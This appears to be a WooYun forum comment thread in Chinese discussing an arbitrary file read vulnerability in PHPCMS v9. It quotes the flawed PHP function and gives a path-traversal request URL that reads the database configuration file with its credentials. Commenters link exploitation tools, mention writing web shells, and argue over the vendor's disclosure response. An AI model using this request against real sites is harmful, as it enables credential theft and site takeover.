WooYun.org

public function public_get_suggest_keyword() { $url = $_GET['url'].'&q='.$_GET['q']; $trust_url = array('c8430fcf851e85818b546addf5bc4dd3'); $urm_md5 = md5($url); if (!in_array($urm_md5, $trust_url)) exit; $res = @file_get_contents($url); if(CHARSET != 'gbk') { $res = iconv('gbk', CHARSET, $res); } echo $res; }

继续关注。。。

刚才在某群里看到细节了，

@king $trust_url = array('c8430fcf851e85818b546addf5bc4dd3') 固定的吗?

@pangshenjie 求

c8430fcf851e85818b546addf5bc4dd3 是啥米东西？后门？

据说V9站点统统出现传说中的username 和 password 诶，只能说强大的phpcms

@f19ht @性感的蛐蛐 @数据流 http://madman.in/madman6/796.htm貌似这个工具都出来了。

@腰上有胸器 日..看样子应该是任意文件下载吧

@数据流 据说仁兄一日一注入?

@性感的蛐蛐 嘻嘻 没有啦..一日一射而已

@数据流 但愿仁兄,细水长流! 你懂的!

@性感的蛐蛐 懂``哈

@数据流 我看到的细节是任意文件下载。

@腰上有胸器 额，貌似我写的晚了点，类似利用工具http://www.creturn.com/phpcmsv9%E6%9C%80%E6%96%B0%E4%BB%BB%E6%84%8F%E8%AF%BB%E6%96%87%E4%BB%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7

@Creturn 我已经通知官方修复了,呵呵

任意文件下载,影响一大片了

@性感的蛐蛐 我刚刚下载还没有修复

@xsser 他们可以吃屎去了,呵呵,第一次看见这么不积极的官方,我跟他们客服联系的时候,架子大的很,以后PHPCMS出问题,让大家脱去吧,绝对不会再通知他们官方的!

@波波虎 人家觉得洞洞不重要,不需要修补,告诉我了两句话 "这个漏洞 很早就修复了 可能是有些程序没打补丁" 我说是官网爆出来的,他回答 "嗯 那个演示站点没升级 我以告知技术 了"

@性感的蛐蛐 乌云上一个漏洞也被忽略了 乌云已经发微博警告了

@xsser 亲,这漏洞不重要,才泄漏了,database,DataBase,UserName,Password 而已!哈哈,

...............这个很严重，直接拿站,这下站长要蛋碎了

@洞主 这不是我发的洞么？ http://zone.wooyun.org/content/555

外连直接导数据，内连直接写shell

@Zvall 原来早就爆了

@leehenwu 内联直接写shell 还是那个地方？分析下，不行就来求指导

@Zvall 汗颜,不好意思,真没注意到,那联系官方删了该条吧,.....乌云什么时候多了个zone.wooyun.org啊?以前怎么没注意到?

index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php

@性感的蛐蛐 那些企业都这样

@leehenwu 大牛内联直接写shell怎么搞？小菜我研究几天硬是没结果？

外部关联：关于此漏洞的更新包：http://bbs.phpcms.cn/thread-621649-1-1.html

http://www.ccoz.net/blog/91 。。。

@horseluke 忽略再修复？求wooyun封杀PHPCMS！

@LittlePig 不是，从补丁发放来看，修复是在这个漏洞爆出之前的。

@horseluke 厂商回应,无影响,直接忽略

@leehenwu 大牛内连写SHELL怎么搞?求思路...

@性感的蛐蛐 楼主发布的时候，这个漏洞已经补啦。所以厂商忽略了。建议楼主挖洞之前到后台点击一下更新，很多时候补丁不马上放到官方那个下载链接里，但是后台可以打补丁。

@tenzy 呵呵,可能是吧,我当时发现的时候是在他们官方演示站发现的,所以就提交喽,如果说他们自己做完补丁官方演示站都没更新,那么你说有多少个用户关注了?诶,,,伤不起了,看大牛是职业PHPCMS 洞洞大牛?哈哈,发的都是他们的?

这不是我和@xsser 七月份就在这下面说过了么…… WooYun: phpcms v9 Multiple Vulnerabilities

@CnCxzSec(衰仔) 嗯 最后他做了